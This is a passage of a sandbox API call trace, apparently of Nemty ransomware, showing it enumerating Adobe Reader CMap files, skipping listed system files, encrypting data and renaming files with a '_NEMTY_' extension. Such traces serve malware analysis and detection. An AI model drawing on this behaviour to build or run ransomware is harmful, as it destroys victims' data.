lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-Japan1-5", lpUsedDefaultChar=0x0) returned 14 [0200.533] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0200.533] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Japan1-5", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0200.533] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Japan1-5", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-Japan1-5", lpUsedDefaultChar=0x0) returned 14 [0200.533] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0200.533] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0200.533] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0200.533] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Japan1-5", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0200.533] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Japan1-5", cchWideChar=14, lpMultiByteStr=0x653ec20, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-Japan1-5", lpUsedDefaultChar=0x0) returned 14 [0200.533] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0200.533] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0200.533] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Japan1-5", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0200.533] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Japan1-5", cchWideChar=14, lpMultiByteStr=0x653ec58, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-Japan1-5", lpUsedDefaultChar=0x0) returned 14 [0200.533] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0200.533] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0200.533] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0200.533] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0200.533] Sleep (dwMilliseconds=0x5) [0200.536] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2b2cf050, dwHighDateTime=0x1d561e8)) [0200.536] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2b2cf050, dwHighDateTime=0x1d561e8)) [0200.536] GetLastError () returned 0x5 [0200.536] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0200.536] GetLastError () returned 0x5 [0200.536] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0200.536] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0200.536] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0200.536] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0200.536] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0200.536] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0200.536] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0200.536] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e91c | out: pszString="6SWvYRg4Y+46uj5Xo67Bh2tVUAYbK28cwXTgFbQ7uNvxaZj1AhcsvDduSEHp15b0\r\nOOfQVqMpOBnRIzbNDGToMvlEig+SlXdnYKst3BnUaHFeI3qmGgCiQriO/6U6on6s\r\nGErmSZOi8otHJEYcx9Ztbc89Er/jxrZx3N1hbbr7BzcGjHL6bFbb3gDw6SqFjY7w\r\n7JLfFRZCTav+7BElo2WihPPzheQClH8Ofx0KiqvdLsCgE1Snubah+KjWi3LlRsUj\r\nbFmMC02Oskqvg3IWuIRjk+pXHabOSD6v0mPEc+7mRgoj13d3ryGb4YWjCcrSwzBY\r\nUefDI5u6FHmezh0nC7WWFQ==\r\n", pcchString=0x653e91c) returned 1 [0200.536] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0200.536] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0200.536] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0200.536] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0200.536] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0200.536] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0200.536] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-5" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-japan1-5"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0200.537] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0200.537] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0200.537] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.537] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0200.546] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.546] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0200.546] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.546] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0200.555] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.555] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0200.555] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.555] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0200.564] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.564] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0200.565] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.565] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0200.574] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.574] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0200.574] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.574] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0200.583] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.583] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0200.583] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.583] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0200.592] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.592] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0200.592] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.592] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0200.602] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.602] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0200.602] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.602] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0200.611] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.611] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0200.611] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.611] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0200.621] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.621] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0200.621] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.621] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0200.630] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.630] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0200.630] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.630] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0200.636] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.636] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0200.636] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.636] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0200.642] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.642] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0200.642] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.642] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d60, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0200.642] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0200.642] CloseHandle (hObject=0xffffffff) returned 0 [0200.642] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0200.642] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0200.642] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0200.642] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0200.642] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0200.642] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0200.642] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0200.642] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0200.642] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0200.642] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0200.643] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-5" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-japan1-5"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-5._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-japan1-5._nemty_kgobjgd_")) returned 0 [0200.643] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0200.643] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0200.643] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0200.643] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0200.643] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0200.643] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0200.643] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0200.643] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0200.643] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa8bb60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1263, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Japan1-6", cAlternateFileName="AD2A65~1")) returned 1 [0200.643] lstrcmpiW (lpString1="Adobe-Japan1-6", lpString2=".") returned 1 [0200.643] lstrcmpiW (lpString1="Adobe-Japan1-6", lpString2="..") returned 1 [0200.643] lstrcmpiW (lpString1="Adobe-Japan1-6", lpString2="...") returned 1 [0200.643] lstrcmpiW (lpString1="Adobe-Japan1-6", lpString2="windows") returned -1 [0200.643] lstrcmpiW (lpString1="Adobe-Japan1-6", lpString2="$RECYCLE.BIN") returned 1 [0200.643] lstrcmpiW (lpString1="Adobe-Japan1-6", lpString2="rsa") returned -1 [0200.643] lstrcmpiW (lpString1="Adobe-Japan1-6", lpString2="NTDETECT.COM") returned -1 [0200.643] lstrcmpiW (lpString1="Adobe-Japan1-6", lpString2="ntldr") returned -1 [0200.643] lstrcmpiW (lpString1="Adobe-Japan1-6", lpString2="MSDOS.SYS") returned -1 [0200.643] lstrcmpiW (lpString1="Adobe-Japan1-6", lpString2="IO.SYS") returned -1 [0200.643] lstrcmpiW (lpString1="Adobe-Japan1-6", lpString2="boot.ini") returned -1 [0200.643] lstrcmpiW (lpString1="Adobe-Japan1-6", lpString2="boot.ini") returned -1 [0200.643] lstrcmpiW (lpString1="Adobe-Japan1-6", lpString2="AUTOEXEC.BAT") returned -1 [0200.643] lstrcmpiW (lpString1="Adobe-Japan1-6", lpString2="ntuser.dat") returned -1 [0200.643] lstrcmpiW (lpString1="Adobe-Japan1-6", lpString2="desktop.ini") returned -1 [0200.643] lstrcmpiW (lpString1="Adobe-Japan1-6", lpString2="CONFIG.SYS") returned -1 [0200.643] lstrcmpiW (lpString1="Adobe-Japan1-6", lpString2="RECYCLER") returned -1 [0200.643] lstrcmpiW (lpString1="Adobe-Japan1-6", lpString2="BOOTSECT.BAK") returned -1 [0200.643] lstrcmpiW (lpString1="Adobe-Japan1-6", lpString2="bootmgr") returned -1 [0200.643] lstrcmpiW (lpString1="Adobe-Japan1-6", lpString2="programdata") returned -1 [0200.643] lstrcmpiW (lpString1="Adobe-Japan1-6", lpString2="appdata") returned -1 [0200.643] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0200.643] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Japan1-6", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0200.644] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Japan1-6", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-Japan1-6", lpUsedDefaultChar=0x0) returned 14 [0200.644] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0200.644] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Japan1-6", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0200.644] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Japan1-6", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-Japan1-6", lpUsedDefaultChar=0x0) returned 14 [0200.644] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0200.644] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0200.644] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0200.644] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Japan1-6", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0200.644] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Japan1-6", cchWideChar=14, lpMultiByteStr=0x653ec20, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-Japan1-6", lpUsedDefaultChar=0x0) returned 14 [0200.644] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0200.644] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0200.644] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Japan1-6", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0200.644] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Japan1-6", cchWideChar=14, lpMultiByteStr=0x653ec58, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-Japan1-6", lpUsedDefaultChar=0x0) returned 14 [0200.644] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0200.644] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0200.644] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0200.644] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0200.644] Sleep (dwMilliseconds=0x5) [0200.645] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2b3d99f0, dwHighDateTime=0x1d561e8)) [0200.645] GetSystemTimeAsFileTime (in: 